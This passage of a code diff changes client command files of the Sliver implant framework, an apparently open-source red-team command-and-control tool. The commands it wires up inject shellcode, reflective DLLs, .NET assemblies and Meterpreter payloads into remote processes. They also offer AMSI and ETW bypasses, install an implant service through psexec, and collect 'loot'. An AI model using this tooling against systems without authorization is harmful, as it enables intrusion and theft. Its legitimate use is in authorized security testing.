-		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-	flags.BindFlagCompletions(executeShellcodeCmd, func(comp *carapace.ActionMap) {
-		(*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
-	})
-	carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)"))
-
-	sideloadCmd := &cobra.Command{
-		Use:   consts.SideloadStr,
-		Short: "Load and execute a shared object (shared library/DLL) in a remote process",
-		Long:  help.GetHelpFor([]string{consts.SideloadStr}),
-		Args:  cobra.MinimumNArgs(1),
-		Run: func(cmd *cobra.Command, args []string) {
-			SideloadCmd(cmd, con, args)
-		},
-		GroupID: consts.ExecutionHelpGroup,
-	}
-	flags.Bind("", false, sideloadCmd, func(f *pflag.FlagSet) {
-		f.StringP("entry-point", "e", "", "Entrypoint for the DLL (Windows only)")
-		f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
-		f.BoolP("unicode", "w", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)")
-		f.BoolP("save", "s", false, "save output to file")
-		f.BoolP("loot", "X", false, "save output as loot")
-		f.StringP("name", "n", "", "name to assign loot (optional)")
-		f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes")
-		f.Uint32P("ppid", "P", 0, "parent process id (optional)")
-		f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
-
-		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-	sideloadCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
-
-	carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)"))
-	carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)"))
-
-	spawnDllCmd := &cobra.Command{
-		Use:   consts.SpawnDllStr,
-		Short: "Load and execute a Reflective DLL in a remote process",
-		Long:  help.GetHelpFor([]string{consts.SpawnDllStr}),
-		Args:  cobra.MinimumNArgs(1),
-		Run: func(cmd *cobra.Command, args []string) {
-			SpawnDllCmd(cmd, con, args)
-		},
-		GroupID:     consts.ExecutionHelpGroup,
-		Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
-	}
-	flags.Bind("", false, spawnDllCmd, func(f *pflag.FlagSet) {
-		f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
-		f.StringP("export", "e", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
-		f.BoolP("save", "s", false, "save output to file")
-		f.BoolP("loot", "X", false, "save output as loot")
-		f.StringP("name", "n", "", "name to assign loot (optional)")
-		f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes")
-		f.UintP("ppid", "P", 0, "parent process id (optional)")
-		f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
-
-		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-	spawnDllCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
-
-	carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)"))
-	carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)"))
-
-	migrateCmd := &cobra.Command{
-		Use:   consts.MigrateStr,
-		Short: "Migrate into a remote process",
-		Long:  help.GetHelpFor([]string{consts.MigrateStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			MigrateCmd(cmd, con, args)
-		},
-		GroupID:     consts.ExecutionHelpGroup,
-		Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
-	}
-	flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) {
-		f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder")
-		f.Uint32P("pid", "p", 0, "process id to migrate into")
-		f.StringP("process-name", "n", "", "name of the process to migrate into")
-		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-	carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into"))
-
-	msfCmd := &cobra.Command{
-		Use:   consts.MsfStr,
-		Short: "Execute an MSF payload in the current process",
-		Long:  help.GetHelpFor([]string{consts.MsfStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			MsfCmd(cmd, con, args)
-		},
-		GroupID: consts.ExecutionHelpGroup,
-	}
-	flags.Bind("", false, msfCmd, func(f *pflag.FlagSet) {
-		f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload")
-		f.StringP("lhost", "L", "", "listen host")
-		f.IntP("lport", "l", 4444, "listen port")
-		f.StringP("encoder", "e", "", "msf encoder")
-		f.IntP("iterations", "i", 1, "iterations of the encoder")
-
-		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-
-	msfInjectCmd := &cobra.Command{
-		Use:   consts.MsfInjectStr,
-		Short: "Inject an MSF payload into a process",
-		Long:  help.GetHelpFor([]string{consts.MsfInjectStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			MsfInjectCmd(cmd, con, args)
-		},
-		GroupID: consts.ExecutionHelpGroup,
-	}
-	flags.Bind("", false, msfInjectCmd, func(f *pflag.FlagSet) {
-		f.IntP("pid", "p", -1, "pid to inject into")
-		f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload")
-		f.StringP("lhost", "L", "", "listen host")
-		f.IntP("lport", "l", 4444, "listen port")
-		f.StringP("encoder", "e", "", "msf encoder")
-		f.IntP("iterations", "i", 1, "iterations of the encoder")
-
-		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-
-	psExecCmd := &cobra.Command{
-		Use:   consts.PsExecStr,
-		Short: "Start a sliver service on a remote target",
-		Long:  help.GetHelpFor([]string{consts.PsExecStr}),
-		Args:  cobra.ExactArgs(1),
-		Run: func(cmd *cobra.Command, args []string) {
-			PsExecCmd(cmd, con, args)
-		},
-		GroupID:     consts.ExecutionHelpGroup,
-		Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
-	}
-	flags.Bind("", false, psExecCmd, func(f *pflag.FlagSet) {
-		f.StringP("service-name", "s", "Sliver", "name that will be used to register the service")
-		f.StringP("service-description", "d", "Sliver implant", "description of the service")
-		f.StringP("profile", "p", "", "profile to use for service binary")
-		f.StringP("binpath", "b", "c:\\windows\\temp", "directory to which the executable will be uploaded")
-		f.StringP("custom-exe", "c", "", "custom service executable to use instead of generating a new Sliver")
-
-		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-	flags.BindFlagCompletions(psExecCmd, func(comp *carapace.ActionMap) {
-		(*comp)["custom-exe"] = carapace.ActionFiles()
-		(*comp)["profile"] = generate.ProfileNameCompleter(con)
-	})
-	carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)"))
-
-	sshCmd := &cobra.Command{
-		Use:   consts.SSHStr,
-		Short: "Run a SSH command on a remote host",
-		Long:  help.GetHelpFor([]string{consts.SSHStr}),
-		Args:  cobra.MinimumNArgs(1),
-		Run: func(cmd *cobra.Command, args []string) {
-			SSHCmd(cmd, con, args)
-		},
-		GroupID: consts.ExecutionHelpGroup,
-	}
-	flags.Bind("", false, sshCmd, func(f *pflag.FlagSet) {
-		f.UintP("port", "p", 22, "SSH port")
-		f.StringP("private-key", "i", "", "path to private key file")
-		f.StringP("password", "P", "", "SSH user password")
-		f.StringP("login", "l", "", "username to use to connect")
-		f.BoolP("skip-loot", "s", false, "skip the prompt to use loot credentials")
-		f.StringP("kerberos-config", "c", "/etc/krb5.conf", "path to remote Kerberos config file")
-		f.StringP("kerberos-keytab", "k", "", "path to Kerberos keytab file")
-		f.StringP("kerberos-realm", "r", "", "Kerberos realm")
-
-		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-	sshCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
-
-	flags.BindFlagCompletions(sshCmd, func(comp *carapace.ActionMap) {
-		(*comp)["private-key"] = carapace.ActionFiles()
-		(*comp)["kerberos-keytab"] = carapace.ActionFiles()
-	})
-
-	carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)"))
-	carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments"))
-
-	return []*cobra.Command{executeCmd, executeAssemblyCmd, executeShellcodeCmd, sideloadCmd, spawnDllCmd, migrateCmd, msfCmd, msfInjectCmd, psExecCmd, sshCmd}
-}

client/command/exec/execute-assembly.go

@@ -3,148 +3,103 @@ package exec
 /*
 	Sliver Implant Framework
 	Copyright (C) 2019  Bishop Fox
-
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
 	the Free Software Foundation, either version 3 of the License, or
 	(at your option) any later version.
-
 	This program is distributed in the hope that it will be useful,
 	but WITHOUT ANY WARRANTY; without even the implied warranty of
 	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 	GNU General Public License for more details.
-
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
 import (
 	"context"
+	"fmt"
+	"io/ioutil"
 	"os"
+	"path"
 	"path/filepath"
 	"strings"
 
-	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
+	"github.com/desertbit/grumble"
 )
 
-// ExecuteAssemblyCmd - Execute a .NET assembly in-memory.
-func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
+// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
+func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
 		return
 	}
 
-	arch, _ := cmd.Flags().GetString("arch")
-	method, _ := cmd.Flags().GetString("method")
-	className, _ := cmd.Flags().GetString("class")
-	appDomain, _ := cmd.Flags().GetString("app-domain")
-	pPid, _ := cmd.Flags().GetUint32("ppid")
-
-	assemblyPath := args[0]
+	filePath := ctx.Args.String("filepath")
 	isDLL := false
-	if filepath.Ext(assemblyPath) == ".dll" {
+	if filepath.Ext(filePath) == ".dll" {
 		isDLL = true
 	}
 	if isDLL {
-		if className == "" || method == "" {
+		if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" {
 			con.PrintErrorf("Please provide a class name (namespace.class) and method\n")
 			return
 		}
 	}
-	assemblyBytes, err := os.ReadFile(assemblyPath)
+	assemblyBytes, err := ioutil.ReadFile(filePath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
 	}
 
-	assemblyArgs := args[1:]
-	process, _ := cmd.Flags().GetString("process")
-	processArgsStr, _ := cmd.Flags().GetString("process-arguments")
-	processArgs := strings.Split(processArgsStr, " ")
-	inProcess, _ := cmd.Flags().GetBool("in-process")
-
-	runtime, _ := cmd.Flags().GetString("runtime")
-	etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
-	amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
-
-	if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
-		con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
-		return
-	}
-
-	assemblyArgsStr := strings.Join(assemblyArgs, " ")
-	assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
-	if len(assemblyArgsStr) > 256 && !inProcess {
-		con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
-		confirm := false
-		prompt := &survey.Confirm{Message: "Do you want to continue?"}
-		survey.AskOne(prompt, &confirm, nil)
-		if !confirm {
-			return
-		}
-	}
+	assemblyArgs := ctx.Args.StringList("arguments")
+	process := ctx.Flags.String("process")
 
 	ctrl := make(chan bool)
 	con.SpinUntil("Executing assembly ...", ctrl)
-	execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-		Request:     con.ActiveTarget.Request(cmd),
-		IsDLL:       isDLL,
-		Process:     process,
-		Arguments:   assemblyArgs,
-		Assembly:    assemblyBytes,
-		Arch:        arch,
-		Method:      method,
-		ClassName:   className,
-		AppDomain:   appDomain,
-		ProcessArgs: processArgs,
-		PPid:        pPid,
-		Runtime:     runtime,
-		EtwBypass:   etwBypass,
-		AmsiBypass:  amsiBypass,
-		InProcess:   inProcess,
+	executeAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+		Request:   con.ActiveSession.Request(ctx),
+		IsDLL:     isDLL,
+		Process:   process,
+		Arguments: strings.Join(assemblyArgs, " "),
+		Assembly:  assemblyBytes,
+		Arch:      ctx.Flags.String("arch"),
+		Method:    ctx.Flags.String("method"),
+		ClassName: ctx.Flags.String("class"),
+		AppDomain: ctx.Flags.String("app-domain"),
 	})
 	ctrl <- true
 	<-ctrl
+
 	if err != nil {
-		con.PrintErrorf("%s", err)
-		return
-	}
-	hostName := getHostname(session, beacon)
-	if execAssembly.Response != nil && execAssembly.Response.Async {
-		con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, execAssembly)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-
-			HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con)
-		})
-		con.PrintAsyncResponse(execAssembly.Response)
-	} else {
-		HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con)
-	}
-}
-
-func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) {
-	saveLoot, _ := cmd.Flags().GetBool("loot")
-	lootName, _ := cmd.Flags().GetString("name")
-
-	if execAssembly.GetResponse().GetErr() != "" {
-		con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
+		con.PrintErrorf("Error: %v", err)
 		return
 	}
 
-	save, _ := cmd.Flags().GetBool("save")
+	if executeAssembly.GetResponse().GetErr() != "" {
+		con.PrintErrorf("Error: %s\n", executeAssembly.GetResponse().GetErr())
+		return
+	}
+	var outFilePath *os.File
+	if ctx.Flags.Bool("save") {
+		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+		outFilePath, err = ioutil.TempFile("", outFile)
+	}
+	con.PrintInfof("Assembly output:\n%s", string(executeAssembly.GetOutput()))
+	if outFilePath != nil {
+		outFilePath.Write(executeAssembly.GetOutput())
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
 
-	PrintExecutionOutput(string(execAssembly.GetOutput()), save, cmd.Name(), hostName, con)
-
-	if saveLoot {
-		LootExecute(execAssembly.GetOutput(), lootName, cmd.Name(), assemblyPath, hostName, con)
+	if ctx.Flags.Bool("loot") && 0 < len(executeAssembly.GetOutput()) {
+		name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(filePath))
+		err = loot.AddLootFile(con.Rpc, name, "console.txt", executeAssembly.GetOutput(), false)
+		if err != nil {
+			con.PrintErrorf("Failed to save output as loot: %s\n", err)
+		} else {
+			con.PrintInfof("Output saved as loot\n")
+		}
 	}
 }

client/command/exec/execute-shellcode.go

@@ -23,35 +23,29 @@ import (
 	"context"
 	"fmt"
 	"io"
+	"io/ioutil"
 	"log"
 	"os"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/spf13/cobra"
-	"golang.org/x/term"
-	"google.golang.org/protobuf/proto"
+	"golang.org/x/crypto/ssh/terminal"
+
+	"github.com/desertbit/grumble"
 )
 
-// ExecuteShellcodeCmd - Execute shellcode in-memory.
-func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
+// ExecuteShellcodeCmd - Execute shellcode in-memory
+func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
 		return
 	}
 
-	rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
-	interactive, _ := cmd.Flags().GetBool("interactive")
-	if interactive && beacon != nil {
-		con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
-		return
-	}
-
-	pid, _ := cmd.Flags().GetUint32("pid")
-	shellcodePath := args[0]
-	shellcodeBin, err := os.ReadFile(shellcodePath)
+	interactive := ctx.Flags.Bool("interactive")
+	pid := ctx.Flags.Uint("pid")
+	shellcodePath := ctx.Args.String("filepath")
+	shellcodeBin, err := ioutil.ReadFile(shellcodePath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err.Error())
 		return
@@ -60,49 +54,18 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
 		con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
 		return
 	}
-	shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
-	if shikataGaNai {
-		if !rwxPages {
-			con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
-			return
-		}
-		arch, _ := cmd.Flags().GetString("architecture")
-		if arch != "386" && arch != "amd64" {
-			con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
-			return
-		}
-		iter, _ := cmd.Flags().GetUint32("iterations")
-		con.PrintInfof("Encoding shellcode ...\n")
-		resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
-			Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
-			Architecture: arch,
-			Iterations:   iter,
-			BadChars:     []byte{},
-			Data:         shellcodeBin,
-		})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		oldSize := len(shellcodeBin)
-		shellcodeBin = resp.GetData()
-		con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
-	}
-
-	process, _ := cmd.Flags().GetString("process")
-
 	if interactive {
-		executeInteractive(cmd, process, shellcodeBin, rwxPages, con)
+		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
 		return
 	}
 	ctrl := make(chan bool)
 	msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
 	con.SpinUntil(msg, ctrl)
-	shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
+	task, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
 		Data:     shellcodeBin,
-		RWXPages: rwxPages,
-		Pid:      pid,
-		Request:  con.ActiveTarget.Request(cmd),
+		RWXPages: ctx.Flags.Bool("rwx-pages"),
+		Pid:      uint32(pid),
+		Request:  con.ActiveSession.Request(ctx),
 	})
 	ctrl <- true
 	<-ctrl
@@ -110,34 +73,16 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-
-	if shellcodeTask.Response != nil && shellcodeTask.Response.Async {
-		con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, shellcodeTask)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintExecuteShellcode(shellcodeTask, con)
-		})
-		con.PrintAsyncResponse(shellcodeTask.Response)
-	} else {
-		PrintExecuteShellcode(shellcodeTask, con)
-	}
-}
-
-// PrintExecuteShellcode - Display result of shellcode execution.
-func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) {
 	if task.Response.GetErr() != "" {
 		con.PrintErrorf("%s\n", task.Response.GetErr())
-	} else {
-		con.PrintInfof("Executed shellcode on target\n")
+		return
 	}
+	con.PrintInfof("Executed shellcode on target\n")
 }
 
-func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) {
+func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
 	// Check active session
-	session := con.ActiveTarget.GetSessionInteractive()
+	session := con.ActiveSession.GetInteractive()
 	if session == nil {
 		return
 	}
@@ -150,21 +95,23 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
 	rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
 		SessionID: session.ID,
 	})
+
 	if err != nil {
-		con.PrintErrorf("%s\n", err)
+		con.PrintErrorf("Error: %v\n", err)
 		return
 	}
 
-	tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
+	tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
 
 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
-		Request:   con.ActiveTarget.Request(cmd),
+		Request:   con.ActiveSession.Request(ctx),
 		Path:      hostProc,
 		EnablePTY: !noPty,
 		TunnelID:  tunnel.ID,
 	})
+
 	if err != nil {
-		con.PrintErrorf("%s\n", err)
+		con.PrintErrorf("Error: %v\n", err)
 		return
 	}
 	// Retrieve PID and start remote task
@@ -174,7 +121,7 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
 	msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
 	con.SpinUntil(msg, ctrl)
 	_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
-		Request:  con.ActiveTarget.Request(cmd),
+		Request:  con.ActiveSession.Request(ctx),
 		Pid:      pid,
 		Data:     shellcode,
 		RWXPages: rwxPages,
@@ -183,16 +130,16 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
 	<-ctrl
 
 	if err != nil {
-		con.PrintErrorf("%s\n", err)
+		con.PrintErrorf("Error: %v", err)
 		return
 	}
 
 	log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
 	con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
 
-	var oldState *term.State
+	var oldState *terminal.State
 	if !noPty {
-		oldState, err = term.MakeRaw(0)
+		oldState, err = terminal.MakeRaw(0)
 		log.Printf("Saving terminal state: %v", oldState)
 		if err != nil {
 			con.PrintErrorf("Failed to save terminal state\n")
@@ -224,7 +171,7 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
 
 	if !noPty {
 		log.Printf("Restoring terminal state ...")
-		term.Restore(0, oldState)
+		terminal.Restore(0, oldState)
 	}
 
 	log.Printf("Exit interactive")

client/command/exec/execute.go

@@ -18,245 +18,62 @@ package exec
 import (
 	"context"
 	"fmt"
-	"os"
-	"path/filepath"
 	"strings"
-	"time"
 
 	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
+	"github.com/desertbit/grumble"
 )
 
-// ExecuteCmd - Run a command on the remote system.
-func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
+// ExecuteCmd - Run a command on the remote system
+func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
 		return
 	}
 
-	cmdPath := args[0]
-	args = args[1:]
-
-	token, _ := cmd.Flags().GetBool("token")
-	hidden, _ := cmd.Flags().GetBool("hidden")
-	output, _ := cmd.Flags().GetBool("output")
-	stdout, _ := cmd.Flags().GetString("stdout")
-	stderr, _ := cmd.Flags().GetString("stderr")
-	saveLoot, _ := cmd.Flags().GetBool("loot")
-	saveOutput, _ := cmd.Flags().GetBool("save")
-	ppid, _ := cmd.Flags().GetUint32("ppid")
-	hostName := getHostname(session, beacon)
-
-	// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
-	captureOutput := output || saveLoot || saveOutput
-
-	if output && beacon != nil {
-		con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
-	}
-
+	cmdPath := ctx.Args.String("command")
+	args := ctx.Args.StringList("arguments")
+	output := ctx.Flags.Bool("silent")
+	token := ctx.Flags.Bool("token")
 	var exec *sliverpb.Execute
 	var err error
-
-	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
-	if token || hidden || ppid != 0 {
-		if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
-			con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
-			return
-		}
-		exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
-			Request:    con.ActiveTarget.Request(cmd),
-			Path:       cmdPath,
-			Args:       args,
-			Output:     captureOutput,
-			Stderr:     stderr,
-			Stdout:     stdout,
-			UseToken:   token,
-			HideWindow: hidden,
-			PPid:       ppid,
+	if token {
+		exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
+			Request: con.ActiveSession.Request(ctx),
+			Path:    cmdPath,
+			Args:    args,
+			Output:  !output,
 		})
 	} else {
 		exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-			Request: con.ActiveTarget.Request(cmd),
+			Request: con.ActiveSession.Request(ctx),
 			Path:    cmdPath,
 			Args:    args,
-			Output:  captureOutput,
-			Stderr:  stderr,
-			Stdout:  stdout,
+			Output:  !output,
 		})
 	}
-	ctrl <- true
-	<-ctrl
+
 	if err != nil {
 		con.PrintErrorf("%s", err)
-		return
-	}
-
-	if exec.Response != nil && exec.Response.Async {
-		con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, exec)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
+	} else if !output {
+		if exec.Status != 0 {
+			con.PrintErrorf("Exited with status %d!\n", exec.Status)
+			if exec.Result != "" {
+				con.PrintInfof("Output:\n%s\n", exec.Result)
 			}
-			HandleExecuteResponse(exec, cmdPath, hostName, cmd, con)
-		})
-		con.PrintAsyncResponse(exec.Response)
-	} else {
-		HandleExecuteResponse(exec, cmdPath, hostName, cmd, con)
-	}
-}
-
-func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) {
-	var lootedOutput []byte
-	stdout, _ := cmd.Flags().GetString("stdout")
-	saveLoot, _ := cmd.Flags().GetBool("loot")
-	saveOutput, _ := cmd.Flags().GetBool("save")
-	lootName, _ := cmd.Flags().GetString("name")
-	ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")
-
-	if saveLoot || saveOutput {
-		lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
-	}
-
-	if saveLoot {
-		LootExecute(lootedOutput, lootName, cmd.Name(), cmdPath, hostName, con)
-	}
-
-	if saveOutput {
-		SaveExecutionOutput(string(lootedOutput), cmd.Name(), hostName, con)
-	}
-
-	PrintExecute(exec, cmd, con)
-}
-
-// PrintExecute - Print the output of an executed command.
-func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverClient) {
-	ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")
-	stdout, _ := cmd.Flags().GetString("stdout")
-	stderr, _ := cmd.Flags().GetString("stderr")
-
-	output, _ := cmd.Flags().GetBool("output")
-	if !output {
-		if exec.Status == 0 {
-			con.PrintInfof("Command executed successfully\n")
 		} else {
-			con.PrintErrorf("Exit code %d\n", exec.Status)
+			con.PrintInfof("Output:\n%s\n", exec.Result)
+			if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
+				name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
+				err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
+				if err != nil {
+					con.PrintErrorf("Failed to save output as loot: %s\n", err)
+				} else {
+					con.PrintInfof("Output saved as loot\n")
+				}
+			}
 		}
-		return
-	}
-
-	if stdout == "" {
-		con.PrintInfof("Output:\n%s", string(exec.Stdout))
-	} else {
-		con.PrintInfof("Stdout saved at %s\n", stdout)
-	}
-
-	if stderr == "" {
-		if !ignoreStderr && 0 < len(exec.Stderr) {
-			con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
-		}
-	} else {
-		con.PrintInfof("Stderr saved at %s\n", stderr)
-	}
-
-	if exec.Status != 0 {
-		con.PrintErrorf("Exited with status %d!\n", exec.Status)
-	}
-}
-
-func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
-	if session != nil {
-		return session.Hostname
-	}
-	if beacon != nil {
-		return beacon.Hostname
-	}
-	return ""
-}
-
-func determineCommandName(command string) string {
-	commandName := strings.ReplaceAll(command, "\\", "/")
-
-	commandName = commandName[strings.LastIndex(commandName, "/")+1:]
-
